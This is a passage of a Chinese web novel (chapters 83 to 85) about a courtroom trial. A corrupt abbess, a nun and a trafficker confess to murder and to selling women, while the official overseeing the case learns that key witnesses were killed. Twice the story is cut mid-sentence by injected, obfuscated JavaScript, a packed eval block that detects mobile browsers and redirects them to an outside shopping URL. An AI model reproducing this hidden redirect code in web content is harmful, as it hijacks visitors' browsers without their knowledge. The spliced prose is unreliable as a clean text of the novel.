水仙姑跪在那里,脸上的笑已经敛去了。她盯着静尘,那目光冷得像毒蛇,又带着一丝说不清的复杂。 “是又如何?”她忽然开口,声音冷得像冰,“那老东西不识相,非要挡我的路。她不挡路,就不会死。” 堂下一片哗然。 赵明远一拍惊堂木:“大胆!” 水仙姑冷笑一声:“大人,您不用吓我。我杀了人,我认。可您问问这些人,他们手上哪个没沾血?王兆贵,他害死的那些女子,难道比我少?静非,她帮我埋人,帮我骗那些可怜的女子进地窖,她手上干净吗?” 静非被她点名,整个人抖得更厉害了,头几乎埋进胸口。 水仙姑又看向崔娘子:“还有她!二十三条人命,她背得动吗?” 崔娘子趴在地上,一动不动,像是死了一般。 赵明远沉声道:“水氏,你既认罪,便将所犯罪行一一招来。杀害了尘、拐卖妇女、勾结王兆贵——桩桩件件,从实招来。” 水仙姑沉默片刻,忽然笑了。那笑容里满是嘲讽,又带着一丝说不清的悲凉。 “招?”她说,“我招了,能减罪吗?” 赵明远冷冷道:“罪无可减,但可死得体面些。” 水仙姑愣了愣,随即大笑起来。那笑声在公堂上回荡,听得人脊背发寒。 “好,好。”她笑够了,才慢慢开口,“我招。了尘是我杀的,那些女子是我骗来的,王兆贵帮我运出去的,静非帮我做事的。还有什么?哦,还有那些账本,那些信件,都是我留着的,防的就是有一天被人卖了。” 水仙姑又看向静非:“静非,你不是说会替我顶罪吗?怎么,一上堂就吓得屁滚尿流?” 静非缩成一团,连头都不敢抬。 水仙姑最后看向崔娘子,那目光里,满是复杂的情绪。有恨,有怨,还有一丝说不清的……怜悯? “玉娘,”她轻声道,“曾经在翠玉楼,我虽对你不善,可我也只是骂你几句,何时对你动过手?你自己心中有恶念,就不要推卸责任为自己开脱。你推脱不掉的,今后的黄泉路上我们一起作伴吧!”说着她哈哈哈大笑起来。笑声传遍整个审庭。 崔娘子趴在地上,一动不动。 赵明远又一拍惊堂木:“带人犯王兆贵!” 王兆贵被押上前。他跪在那里,低着头,不敢看任何人。往日那个在归平县横行霸道的王大官人,此刻狼狈得像一条丧家之犬。 赵明远盯着他,沉声道:“王兆贵,水氏所言,勾结略卖妇女之事,你可认罪?” 王兆贵抬起头,嘴唇动了动,却说不出话来。 “王兆贵!”赵明远一拍惊堂木,“还不从实招来!” 王兆贵一个激灵,终于开口:“我……我认。那些女子,是我让人运出去的。走水路,送到北边。可我只是……只是替人办事的!不是我主使的!” “替谁办事?” 王兆贵张了张嘴,却没有说出那个名字。 水仙姑在一旁冷笑:“怎么,不敢说?你那兄弟的干爹崔琰,不就是你的后台吗?你不是说,有他在,谁也动不了你吗?” 王兆贵猛地转头看向她,眼中满是惊恐和愤怒。他想骂她,却不敢开口。那两个字一旦说出来,就再也收不回去了。 赵明远盯着他,一字一句道:“王兆贵,你若从实招来,指认主使之人,或可减轻罪责。若执迷不悟,包庇真凶,罪加一等!” 王兆贵的脸上闪过一丝挣扎。他想说,又不敢说。他想起崔琰的手段,想起那些“意外”死去的人,想起自己还在牢里的弟弟…… “我……”他张了张嘴,最终还是低下头,“我不知道。那些女子,是我让人运的,可我不知道送去哪里,不知道谁要的。我只是……只是拿钱办事。” 水仙姑嗤笑一声:“怂货。” 赵明远没有再追问。他转向静非:“静非,你可有话说?” 静非跪在那里,浑身抖得像筛糠。她不敢看任何人,只敢盯着自己的膝盖。水仙姑的话、王兆贵的话、静尘的话,像刀子一样扎在她心上。 她想起那夜,了尘瞪大的眼睛。想起那些被她骗进地窖的女子绝望的眼神。想起自己这些年做的那些事…… “贫尼……贫尼……”她终于开口,声音沙哑得像破锣,“贫尼认罪。了尘师父是贫尼帮着埋的,那些女子是贫尼帮着骗的。贫尼……贫尼也是被逼的……” “被逼?”水仙姑冷笑,“我逼你了吗?那些银子,你不是拿得挺欢吗?” 静非浑身一颤,不敢接话。 赵明远沉声道:“静非,将你所知之事,从实招来。” 静非跪在那里,好半天才断断续续地说起来。说了尘被杀那夜的经过,说那些年被骗来的女子,说水仙姑和王兆贵的勾结,说她帮水仙姑做的那些事…… 她说得颠三倒四,可每一句,都是真的。 堂下一片寂静。只有静非的声音,断断续续地回荡。 赵明远听完,点了点头,让人将供状递到她面前。 “画押。” 静非颤颤巍巍地接过笔,在那张供状上画了押。她的手抖得厉害,那个押画 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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许娇娇迎着他的目光,唇角微微扬起。 她没有说话。可那笑容,已经足够。 赵斌走过来,低声道:“阿宴,差不多了,该回去了。” 裴宴点了点头,最后看了许娇娇一眼,转身离去。 许娇娇站在公堂上,看着他的背影消失在门外,久久未动。 “娇杏。”静尘轻轻拉了拉她的袖子,“咱们也回去吧。” 许娇娇回过神,点了点头。 两人走出府衙,秋日的阳光洒在身上,暖融融的。街上人来人往,与往常无异。可许娇娇知道,有些东西,已经不一样了。 了尘师父的冤屈昭雪了。那些被拐卖的女子,终于可以瞑目了。水仙姑、静非、王兆贵,都要为他们做下的事付出代价。 而那个人,还在查着更大的案子。 许娇娇抬起头,望向城北的方向。那里,是钦差行辕的所在。 她不知道,等待他的,是什么。 但她知道,他会赢。 暮色渐渐降临,柳枝巷的小院里点起了灯。 静尘坐在槐树下,望着天边最后一抹晚霞,久久没有动。静心在一旁陪着,也不说话。 许娇娇端着两碗茶出来,递给她们一人一碗。 “师姐,”她在静尘身边坐下,轻声道,“想什么呢?” 静尘接过茶,沉默片刻,才道:“想师父。” 许娇娇没有说话,只是静静听着。 静尘继续道:“师父待我像亲生女儿一样。我进水月庵的时候,才六岁,什么都不懂。是师父教我认字,教我读经,教我做人的道理。她说,咱们虽然是尼姑,可也是人,要堂堂正正地活着。” 她的声音有些哽咽,却还在说:“可我没能救她。我看到她喝了那杯茶倒下了,我却以为真的像水仙姑说的那样,师父有心悸。后来,我时常想起,有所怀疑,但我不敢去问水仙姑,我怕我也死了,就没人知道真相了。” 许娇娇握住她的手,轻声道:“师姐,你已经做到了。你活着,等到了今天。” 静尘点了点头,眼泪无声地流了下来。 静心在一旁,也红了眼眶。她想起自己被关在地窖里的那些日子,想起那些和她一起被关着的女子,想起那些再也没能出来的…… “都过去了。”许娇娇轻声道,像是说给她们听,也像是说给自己听。 夜风吹过,带着深秋的凉意。槐树的叶子沙沙作响,飘落几片,落在她们肩头。 旺财从窝里爬起来,走到静尘身边,用脑袋蹭了蹭她的腿。 静尘低头看着它,忽然笑了。那笑容里,有泪,也有释然。 “旺财说,”她轻声道,“天黑了,该吃饭了。” 许娇娇也笑了,站起身,拉着她们往屋里走。 “走,吃饭去。” 84. 第84章公堂对质(三) 十月初九,菰城府衙的公堂外,天不亮就挤满了人。 昨日那场公审,已经传遍了全城。水月庵的妖尼姑竟是京城翠玉楼逃出来的头牌,崔家娘子竟是十年前京城翠玉楼那场大火的真凶。这些消息像长了翅膀,飞进街头巷尾,飞进茶楼酒肆,飞进每一个寻常百姓家。今日天还没亮,就有人搬着小板凳来占位置,卖吃食的挑着担子在人群里穿梭,茶楼的伙计干脆把茶桌搬到了府衙对面,一边卖茶一边看热闹。 “听说了吗?今日要审那个赵大的案子!” “哪个赵大?” “青坑村的那个!他媳妇难产死了,一尸两命,他前些日子也被人害了!听说是那个妖尼姑指使人干的!” “造孽啊!那可是一条人命!” “可不嘛!听说那案子还有隐情,那个许小大夫今天要亲自上堂对质。” “你说的是在水患中救人无数的那个许小大夫?” “就是她?” “她不是受害人吗?怎么还要上堂?” “你懂什么,她是证人。听说当初是有人假扮她,害死了赵大媳妇。” 议论声嗡嗡作响,像一群蜜蜂在人群里乱撞。 公堂上,一切如旧。 赵明远坐在公案后,面色沉静。裴宴依旧坐在左侧的太师椅上,一身玄色常服,面容冷峻如常。赵斌抱臂站在右侧,一双眼睛鹰隼般盯着堂下。 今日审的还是水仙姑、崔娘子、静非、王兆贵。他们被依次押了上来,跪在堂下。 许娇娇站在堂下证人席上,一身素净的月白色衣裙,头发简单绾在脑后,脸上没试脂粉,却自有一种沉静的气度。她身旁站着静尘,也是一身素衣,面色平静。 赵明远一拍惊堂木:“今日开审,审理青坑村赵门王氏难产致死一案。带苦主家属。” 赵大的寡嫂被带了上来。她今日没穿孝服,只一身粗布衣裙,脸色蜡黄,眼眶红肿,一进堂就跪了下去,浑身发抖。 “民妇……民妇赵门孙氏,见过青天大老爷。” 她的声音抖得厉害,头都不敢抬。 赵明远看着她,沉声道:“孙氏,你前几日状告许氏见死不救,致赵门王氏母子双亡。今日可还有话要说?” 孙氏浑身一颤,嘴唇哆嗦着,却说不出话来。 赵明远又一拍惊堂木:“孙氏,本官问你话!” 孙氏一个激灵,终于开口:“民妇……民妇被人骗了!那日去张记闹事,是有人给了民妇银子,让民妇去哭,去骂,去告那个许娘子!民妇不知道……不知道那是假的……” 她说着说着,哭了起来,趴在地上磕头如捣蒜:“青天大老爷饶命!民妇也是被逼的!民妇男人死得早,家里就指着那点银子过活,他们说给民妇十两银,让民妇去哭一场,民妇就……就……” 赵明远冷冷道:“给你银子的是谁?” 孙氏颤抖着指向跪在一旁,那里是昨日苟文书的位置,他今日不在堂上。 原来,苟文书昨日生病了,不知道是不是吃的东西不干净,他如今正在府衙后面的一间偏房躺着,由专人守着,几个大夫轮流诊治。 她的手悬在半空,不知该指向何处。 “是……是……”她结结巴巴地说不出话来。 赵明远没有再追问,只道:“带人犯静非。” 静非被押上前。她比昨日更加憔悴,整个人缩成一团,连跪都跪不稳。从被押上堂的那一刻起,她就不敢抬头,不敢看任何人。 “静非,”赵明远的声音从头顶压下来,“赵大媳妇难产那夜,是你假扮许氏,骗走了赵大。此事可是实情?” 静非浑身一颤,好半天才发出声音:“是……是贫尼。” “何人指使?” 静非没有回答。她低着头,肩膀剧烈地颤抖。 “静非!”赵明远一拍惊堂木,“本官问你,何人指使!” 静非猛地抬起头,目光不由自主地飘向跪在一旁的水仙姑。水仙姑正看着她,那目光冷得像毒蛇,带着威胁,带着警告。 可静非知道,自己已经没有退路了。 “是……是水仙姑。”她终于开口,声音沙哑得像破锣,“是她让贫尼假扮许娘子的。她说……说那夜赵大会来求医,让贫尼守在必经之路上,戴上斗笠,假扮成许娘子,把赵大骗走。” 水仙姑冷笑一声,没有说话。 赵明远继续问:“她为何要这样做?” 静非的声音更低了:“她说……说许娘子坏了她的好事,她要让许娘子身败名裂,让所有人都以为许娘子是个见死不救的毒妇。那夜赵大媳妇难产,正好是个机会。只要赵大媳妇死了,许娘子就跳进黄河也洗不清。” 堂下一片哗然。 许娇娇站在证人席上,面色平静。这些话,她早就知道。可此刻从静非嘴里说出来,还是让她心里涌起一股复杂的情绪。 为了陷害她,水仙姑不惜让一个孕妇活活疼死,让一个未出世的孩子胎死腹中。 两条人命。 只因为她“坏了她的好事”。 赵明远沉声道:“静非,那夜你假扮许氏,对赵大说了什么?” 静非低着头,好半天才道:“贫尼说……说‘这等污秽之事,也配来寻我?我平日行医济世,那是积德行善。妇人产育,血光冲天,最是晦气。我清清白白一个未出阁的女子,沾了这晦气,往后还怎么说亲?你且回去吧,生死有命。’” 堂下又是一阵骚动。有人骂道:“这话也太毒了!” 赵明远看向许娇娇:“许氏,你可有话要说?” 许娇娇上前一步,敛衽行礼,声音不高,却字字清晰:“民女只有一句话,若民女真说出这等话,那民女就不配行医,更不配做人。民女行医以来,救治过多少妇人产妇,疫病期间日以继夜,从不曾有过半分嫌弃。此话若是民女所说,天打雷劈,不得好死。” 她顿了顿,看向跪在地上的静非,目光平静:“可这话不是我说的,是静非说的。她假冒我的名义,害死了两条人命,又害得赵大被人灭口。这笔账,今日该算清了。” 静非被她看得浑身发抖,低下头,不敢与她对视。 赵明远又一拍惊堂木:“带人犯王兆贵!” 王兆贵被押上前。他跪在那里,低着头,不敢看任何人。往日那个在归平县横行霸道的王大官人,此刻狼狈得像一条丧家之犬。 赵明远盯着他,一字一句道:“王兆贵,赵大被人灭口一案,你可知情?” 王兆贵浑身一颤,抬起头,嘴唇动了动,却说不出话来。 水仙姑在一旁冷笑:“说啊,你不是挺能的吗?怎么,不敢说了?” 王兆贵猛地转头看向她,眼中满是惊恐和愤怒。他想骂她,可张了张嘴,一个字都骂不出来。 赵明远沉声道:“王兆贵,本官问你,赵大是不是你的人杀的?” 王兆贵一个激灵,终于开口:“是……是我的人。” “何人指使?” 王兆贵沉默片刻,目光不由自主地飘向水仙姑。水仙姑正看着他,那目光冷得像冰,却又带着一丝说不清的意味。 “是……是水仙姑。”他低下头,终于说了出来,“她说赵大是个祸害,留着他迟早出事。让我派人去把他带走,处理干净。” “处理干净”四个字,他说得很轻,可在寂静的公堂上,每个人都听得清清楚楚。 赵明远的声音更冷了:“怎么处理的?” 王兆贵低着头,声音越来越低:“让人……用石头砸死了。然后扔在山脚下,让人以为是意外。” 堂下一片哗然。有人骂道:“畜生!”有人啐了一口:“这种人该千刀万剐!” 赵明远一拍惊堂木,压下议论声,继续问:“动手的是谁?” 王兆贵道:“是我庄上的管事,姓孙的。他……他也被抓了,关在大牢里。” 赵明远点了点头,让人将供状递到他面前。 “画押。” 王兆贵颤颤巍巍地接过笔,在那张供状上画了押。他的手抖得厉害,那个押画得歪歪扭扭,像他那颗早已歪了的心。 水仙姑跪在一旁,冷眼看着,嘴角始终挂着那抹诡异的笑。 赵明远转向她:“水氏,王兆贵所言,可是实情?” 水仙姑笑了。那笑容里满是嘲讽,又带着一丝说不清的疯狂。 “是又如何?”她说,“赵大那个蠢货,留着也是祸害。他不死,早晚会把事情抖出来。他死了,一了百了。” “你!”许娇娇忽然开口,声音里带着压抑不住的怒意,“两条人命还不够,你还要杀第三个!赵大媳妇死了,孩子死了,赵大也死了!三条人命!在你眼里,人命就这么不值钱?” 水仙姑看着她,忽然笑得更厉害了。 “三条人命?”她笑着笑着,眼泪都流了出来,“小丫头,你知道我手上多少条人命吗?了尘一条,那些被卖掉的女子,死在地窖里的,死在路上的,死在北边的——你知道有多少?二十?三十?五十?我自己都数不清了。” 她顿了顿,眼中闪过一丝疯狂的光:“三条人命算什么?赵大算什么?他媳妇算什么?那个没出生的孩子算什么?我告诉你,小丫头,这世道,人命本来就不值钱。你可怜他们,谁来可怜我?” 许娇娇看着她,忽然觉得无话可说。 这个女人,已经疯了。 不是那种大喊大叫的疯,而是一种彻底的、绝望的疯。在她眼里,杀人就像喝水吃饭一样自然,人命就像路边的草芥一样轻贱。 赵明远又一拍惊堂木,正要说话,忽然—— 堂外传来一阵急促的脚步声。 众人回头望去,只见一个穿着青衣的年轻男子快步走进公堂。他面容普通,可那双眼睛锐利得像鹰。 他走到裴宴身边,俯下身,在他耳边低语了几句。 裴宴的眸光骤然一凝。 那变化极快,快得几乎没人察觉。可许娇娇看见了。她站在证人席上,一直用眼角的余光关注着那个人。她看见他的手指在椅背上轻轻叩击了一下。 无痕说完,退后一步,站到一旁。 裴宴沉默片刻,忽然站起身。他向赵明远点了点头,低声道:“赵参军,本官有些急事,先退一步。你继续审。” 赵明远愣了愣,随即拱手道:“帅使请便。” 裴宴转身,大步往外走去。经过许娇娇身边时,他的脚步顿了顿,目光在她脸上停留了一瞬。 那一眼,很复杂。有担忧,有安慰,还有一丝说不清的东西。 然后,他走了。 许娇娇站在原地,看着他的背影消失在门外,心里忽然涌起一股不安。 出什么事了? 公堂外,裴宴大步走出府衙。无痕跟在他身后,长风也快步迎了上来。 “怎么回事?”裴宴的声音压得很低,却冷得像冰。 无痕道:“崔旺找到了。” 裴宴脚步一顿。 “在城外河道里,今早被渔户发现的。”无痕的声音更低了些,“已经泡了一夜,面目都看不清了。仵作验过,说是淹死的。” “淹死的?”裴宴重复着这两个字,目光锐利如刀。 无痕点头:“肺里有水,符合溺水之状。可属下仔细验过那尸体,后脑有一处伤,不重,但足以把人打晕。” 裴宴的眸光骤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17390144|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然一沉。 打晕,再推下水。 不是意外,是谋杀。 “可确认是崔旺?” “确认。”无痕道,“崔娘子已经认过尸了。虽然面目浮肿,但她认得那衣裳,还有他手上的旧伤疤。是他。” 裴宴沉默片刻。 长风上前一步,脸上的神色更加凝重:“郎主,属下正要禀报——王兆仁昨夜在牢里自尽了。” 裴宴的瞳孔微微收缩。 “他不是关押在重刑犯监牢,由专人看守,怎么会轻易死去?” “我们安排的人员三班倒,眼睛都不眨,小的已经问过了,说没有任何人接近他。只是夜半时分,他解了腰带挂在门框上,自己吊死了。”长风接着道,“巡夜的人发现的,身子都凉了。仵作验过,除了脖子上勒痕,没有别的伤。” 裴宴没有说话。 两个消息,同时传来。 崔旺“失足落水”,王兆仁“狱中自尽”。一夜之间,两条人命,消失得干干净净。 太巧了。 巧得让人脊背发寒。 赵斌这时也跟了出来,正好听见长风的话。 “自尽?”赵斌的声音压得很低,却压不住那股怒火,“我亲自安排的人看守,铁桶一般,他怎么可能自尽?” 裴宴没有回头,只沉声道:“仵作验过了?” “验了。说是自己解的腰带,拴在窗棂上,勒死的。”长风接着道。 裴宴沉默着。 “这他娘的!”赵斌骂出声来,声音里满是愤怒,“被灭口了!这他娘的绝对是被灭口了!” 裴宴没有接话。他站在那里,望着灰蒙蒙的天空,脸上没有表情。 赵斌走到他身边,压着火气道:“阿宴,你说话啊!王兆仁是崔琰的心腹,他知道多少事?他这一死,多少证据就断了!还有那个崔旺,他是当年翠玉楼大火的直接参与者!他死了,那条线也断了!” 裴宴依旧没有说话。 长风在一旁低声道:“郎主,小的已经让人去查了。王兆仁死前,没有人接触过他,但有送饭的狱卒,送饭时我们的人都检查了饭菜,饭菜没毒,狱卒也没有夹带。” 无痕接着道:“崔旺出事那晚,也没有别人去过河道。属下已经都沿河道两岸及崔旺去过的地方都查过了。” 裴宴点了点头,终于开口:“那个给王兆仁送饭的狱卒呢?” 长风垂下头:“死了。” 裴宴的目光骤然一凝。 “今早被人发现吊死在柴房里。也是腰带,也是门框。”长风的声音压得很低,带着一丝沮丧。”小的无能。请郎主责罚。” 赵斌彻底忍不住了,又是一拳砸在廊柱上,砸得那柱子都晃了晃。 “他娘的!这他娘的连环套!一个接一个灭口,连传话的都杀!崔琰那个老阉狗,手伸得这么长,连大牢里的人都敢动!” 裴宴转过身,看着他,目光平静得有些吓人。 “无伤,”他说,“你骂够了没有?” 赵斌被他这么一看,愣了一愣,到嘴边的脏话又咽了回去。 裴宴道:“骂没有用。崔琰杀人灭口,说明他急了。他越急,就越容易出错。” 他顿了顿,转向无痕:“孤雁那边有消息吗?” 无痕道:“有。收到飞鸽传书,说崔琰府上有人连夜进出,像是送信的。孤雁跟着其中一人,发现那人去了扬州城外一处农庄。今早那农庄就起了火,烧得干干净净。” 裴宴的眸光一沉。 杀人灭口,销毁证据。 崔琰这是在扫尾。 “农庄里住的是什么人?” 无痕道:“属下正在查。初步打听到,那农庄是崔琰一个远房亲戚名下的,平时住着几个老弱妇孺。尚未查出具体的事物。” 裴宴沉默片刻,缓缓道:“让孤雁继续盯着。崔琰不会就此收手,他还会动。” 无痕抱拳:“是。” 裴宴转身,望向府衙的方向。公堂里还在继续审案,那些人的命运,正在被一一裁定。 可真正的元凶,还在外面逍遥。 “无伤。”他忽然开口。 赵斌上前一步:“阿宴。” “加派人手,看管王兆贵、水仙姑、崔娘子。任何人不得单独接触,送饭送水都要有人盯着。”裴宴的声音冷得像冰,“王兆仁死了,崔旺死了。剩下的这几个,不能再出事了。” “放心,老子这一次绝不会让那帮孙子钻空子。”赵斌狠声道。 “还有许娘子那边,”裴宴接着吩咐长风,“你让暗中盯着的人,让他们小心些。崔琰若狗急跳墙,什么事都做得出来。” 长风心头一凛,重重点头:“小的明白。” 裴宴最后看了一眼灰蒙蒙的天空,转身往行辕的方向走去。 他的背影挺直如松,玄色的袍子在风中微微飘动。 赵斌站在原地,看着他的背影,忽然叹了口气。 “长风,”他说,“你说阿宴这人,心里到底装了多少事?” 长风摇了摇头:“不知道。反正比咱们多。” 赵斌苦笑一声,跟了上去。 公堂内,审理还在继续。 许娇娇站在证人席上,看着静非被画押,看着王兆贵被画押,看着水仙姑那张疯狂的脸。她的心里,五味杂陈。 三条人命,终于有了交代。 可她心里,却没有想象中的轻松。 因为真正的元凶,还没有落网。 她想起方才裴宴离去时那一眼,想起他紧抿的唇角,想起他手指在椅背上那轻轻的一叩。 出事了。 一定出事了。 85. 第85章 宣判 原定于第二日的宣判,竟又拖了两日。 傍晚时分,长风遣了响儿送信来。许娇娇拆开看时,便知昨日的预感果然不虚——信是裴宴匆忙中写的,寥寥数语,说了王兆仁与崔旺的死讯。又说两日后宣判,届时让长风来接她们;她们是苦主,自然该到场。 她捏着信纸,眼前忽然浮起裴宴写信时的模样。俊朗的脸,一脸严肃,眉头大约微微蹙着,笔尖走得很急。 唇角便不自觉地弯了。 心里像是被什么软软的东西撞了一下,暖意从胸口漫开,一直漾到指尖。 两日后,菰城府衙外的长街,从清早起就被围得水泄不通。卖吃食比如昨日好要多,那些挑着担子的商贩人群里穿梭,茶楼的伙计搬出长凳让客人站着看,连对面的屋顶上都爬满了人。 都是来看今日宣判的。 今日公审,震动江南。水月庵的妖尼姑、归平县的王大官人、京城翠玉楼那场烧死二十三人的大火,还有那些被拐卖的女子、那些埋在后山的尸骨。桩桩件件,早已传遍了街头巷尾。 今日,终于要有个结果了。 许娇娇站在人群前方的一块石阶上,旁边是静尘和静心。这个位置是长风一早派人占下的,不高不低,能看清公堂内的情况,又不会被挤着。 她今日穿了一身藕荷色褙子,领口露出寸许杏黄的抹胸,上头绣着两朵小小的并蒂莲。风一吹,裙角扬起,露出同色的罗鞋鞋尖,绣的也是一样的花。发丝梳得整整齐齐,脸上薄施脂粉,唇上擦了口脂。让人看着眼前一亮,静尘和静心也是一身素衣,三人站在一起,像三株静静开放的秋菊。 “人真多啊。”静心小声说,眼睛却一直盯着公堂的方向。 静尘没有说话,只是握紧了手里的佛珠。 许娇娇轻轻拍了拍她的手,没有说话。 辰时正,公堂大门洞开。 两班衙役手持水火棍,分列左右,齐声吆喝。赵明远身着青袍官服,端坐公案之后,面色沉凝如铁。裴宴依旧坐在左侧的太师椅上,一身玄色常服,面容冷峻,眸光如电。 堂下,人犯一字排开。 赵明远一拍惊堂木,沉声道:“带证人宋义!” 堂外一阵骚动。宋义?那是谁? 许娇娇的心猛地一跳。她想起裴宴曾经提过的那个名字——宋大,本名宋义,宋国公府的远房族人,当年翠玉楼大火那夜,接走罗玉娘的人。 他居然还活着?他居然愿意出堂作证? 人群自动让开一条路。一个穿着灰扑扑短褐的中年男子被押了上来,约莫四十出头,面容憔悴,眼窝深陷,一看就是在牢里关了些日子的。他走得很慢,每一步都像踩在刀尖上,可那双眼睛,却直直地盯着前方,盯着公堂上那些跪着的人。 “草民宋义,见过青天大老爷。”他跪下磕头,声音沙哑。 赵明远道:“宋义,将你所知之事,从实讲来。” 宋义跪在那里,沉默了片刻,才缓缓开口。那声音不高,却字字清晰,像钝刀子割肉,一下一下割在人心上。 “草民本是宋国公府的远房族人,在府里当差。那时候……那时候草民跟着宋衙内,替他办些……办些不好出面的私事。” “什么私事?”赵明远追问。 宋义低着头,声音更低了些:“就是……替他接人送人,传话跑腿,有时候也帮着平事。草民那时候年轻,觉得能跟着衙内是造化,什么活都接,什么话都听,从不多问。” 堂下一片寂静,只有他的声音在回荡。 “景和十年腊月,崔旺找上了草民。” 赵明远目光一凝:“崔旺?可是崔琰的义子?” 宋义点头:“是。崔旺景和六年曾在宋家田庄做事。那时衙内还小,小人还未到衙内身边。一直到景和七年,草民有一回遇到难事,他帮着草民解决,从此以后,就时常请草民吃酒。一直到景和十年,有一日他又请草民吃酒,期间说有个小忙,想让草民帮衬一把。草民问他什么事,他说腊月二十三那夜,让草民去京城东门瓦子后巷接一个人,接到后就送到城外一个地方,有人接应。” “你可知道接的是什么人?” 宋义抬起头,眼中闪过复杂的情绪。恐惧、后悔、还有一丝说不清的苦涩。 “草民不知道。崔旺没说,草民也没问。草民以为……以为就是寻常的事。那时候替衙内接人送人接多了,这种事草民不当回事。” 他顿了顿,继续说:“腊月二十三那夜,草民驾着马车去了后巷。等了约莫半个时辰,角门忽然开了,一个人影跑了出来。那人穿着粗布衣裳,头发散乱,浑身发抖,一看就是跑出来的丫鬟。” “草民问她是不是崔旺让来的,她点头。草民就让她上车,赶着马车往城外走。走到半路,草民回头看了一眼——那个丫鬟缩在车厢角落里,浑身抖得像筛糠,脸上的泪痕还没干。草民心里犯嘀咕,可也没多想。” “后来呢?” “后来草民把人送到城外,那里停着另一辆马车。草民把人交过去,就回去了。”宋义的声音越来越低,“直到第二天,草民才知道——翠玉楼起火了,烧死了二十三个人。草民起了疑心,一打听,才知道,那个丫鬟就是放火的人。” 堂下一片哗然。 赵明远一拍惊堂木,压下骚动,继续问:“你可知道,崔旺为何要让你去接人?” 宋义摇头:“草民不知道。后来草民问过崔旺,他只说让草民别多问,出了事他兜着。草民心里害怕,可又不敢得罪他,就……就装作什么都没发生。” “后来宋衙内知道了这事?” 宋义点头:“知道了。是崔旺自己说的。那时候草民才知道,崔旺背后还有人。他让草民去接人,不是他自己的主意,是崔琰的吩咐。崔琰要借这件事,把宋家拉下水。” 此言一出,满堂皆惊。 连跪着的水仙姑都抬起了头,眼中闪过异样的光。 宋义继续说:“后来国公爷听说此事,大怒,将草民打了一顿,打发回应天府,让草民改名换姓,永远不许再提这事。草民以为这事就这么过去了,可这些年,草民没睡过一个踏实觉。每次闭上眼,就想起那个丫鬟缩在车厢里发抖的样子,想起那场大火,想起那些死了的人……” 他的声音哽咽了,低下头,肩膀剧烈地颤抖。 “草民知道,草民有罪。草民不该替他们接人,不该装作什么都不知道。可草民……草民也是被逼的……” 赵明远沉默片刻,让宋义画押,押了下去。 堂上,崔娘子跪在那里,整个人像被抽去了骨头。她听着宋义说的那些话,那些她从来不知道的事——原来崔旺找上她,不是偶然;原来那场大火,从一开始就是别人布下的局;原来她以为的救命恩人,不过是把她当成了棋子。 水仙姑忽然笑了。那笑声阴恻恻的,听得人脊背发寒。 “玉娘,听见了吗?你心心念念的那个男人,从一开始就是在利用你。你放那把火,是为了和他双宿双飞,可人家呢?人家只是想借你的手,除掉戴明书那个畜生,顺便把宋家拉下水。” 崔娘子没有抬头,没有回应。她只是跪在那里,一动不动,像一尊泥塑。 水仙姑继续笑:“可怜啊,真可怜。你以为逃出火坑了,结果是从一个火坑跳进另一个火坑。你以为嫁了个好男人,结果人家从头到尾都在骗你。你替他养孩子,替他打理家事,到头来,他甚至连一句话都没留,就死了。” 崔娘子的肩膀开始发抖,可她还是没抬头。 水仙姑还想再说,被差役按住了。 赵明远又一拍惊堂木:“带证人苟文书!” 苟文书被押了上来。他跪在那里,浑身发抖,脸上青一块紫一块——那是被抓时挣扎留下的。他不敢看任何人,只敢低着头。 “苟文书,”赵明远道,“你在王兆仁手下当差多年,可知他所犯罪行?” 苟文书连连点头:“知道知道!小的都知道!” “从实招来!” 苟文书咽了口唾沫,开始说起来。说王兆仁这些年如何收受贿赂,如何包庇他哥哥的生意,如何替崔琰遮掩那些见不得人的勾当。说那些账本、那些信件,他都见过,有些还是他亲手誊抄的。 “王兆仁说过,他干爹崔琰是发运使,手掌江南漕运,得罪不起。那些账目往来,那些人口买卖,都是崔琰在后面撑着,他只是跑腿办事的。他还说,只要抱紧崔琰的大腿,这辈子吃穿不愁……” 堂下的议论声嗡嗡作响。崔琰的名字,今日已经在公堂上出现了无数次。 赵明远又问:“王兆仁可曾提过翠玉楼大火之事?” 苟文书摇头:“这个……这个小的不知道。小的只见过他和崔琰的往来信件,可那些信……那些信都是他亲手烧的。小的什么都不知道。” 赵明远让人记下供词,让苟文书画押。 苟文书被押下去时,浑身抖得像筛糠,连路都走不稳。 堂上重新安静下来。 赵明远站起身,拿起案上那厚厚一沓供状,沉声道:“今日本堂审理归平县水月庵住持水氏,本名水娘。勾结地方豪强,戕害人命,略卖妇女一案;审理景和十年腊月二十三翠玉楼大火一案;审理青坑村赵大及其媳妇王氏被害一案。经三日 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“人犯王兆贵,归平县商人。勾结水氏拐卖妇女;指使手下杀害赵大;包庇纵容其弟王兆仁贪赃枉法。数罪并罚,判斩监候,秋后复审!” 王兆贵跪在那里,浑身发抖,嘴里喃喃着什么,谁也听不清。 “人犯罗氏,原名罗玉儿,景和十年翠玉楼大火真凶。虽受人指使,然亲手纵火,致二十三人死亡,罪无可恕。判斩监候,秋后复审!” 崔娘子趴在地上,一动不动,像死了一般。 堂外的人群一阵骚动。有人叫好,有人叹气,有人只是摇头。 赵明远顿了顿,又继续道:“王兆仁、崔旺二人,虽已身死,然其罪行昭彰,抄没家产,以充公用。崔琰涉嫌指使杀人、贪赃枉法、包庇纵容等罪,着即革职查办,押解进京,交三司会审!” 此言一出,满堂哗然。 崔琰!那个手掌江南漕运的大人物,那个在江南呼风唤雨的发运使——终于要查他了! 许娇娇站在人群里,听着这一句,心头猛地一松。她抬起头,看向公堂内那道玄色的身影。 裴宴依旧坐在那里,面容冷峻如常。可那一瞬间,他似乎感受到了她的目光,微微侧过头,朝她的方向看了一眼。 四目相对。 他微微颔首,那动作很轻,轻得几乎看不出来。可许娇娇看见了,也看懂了。 他赢了。 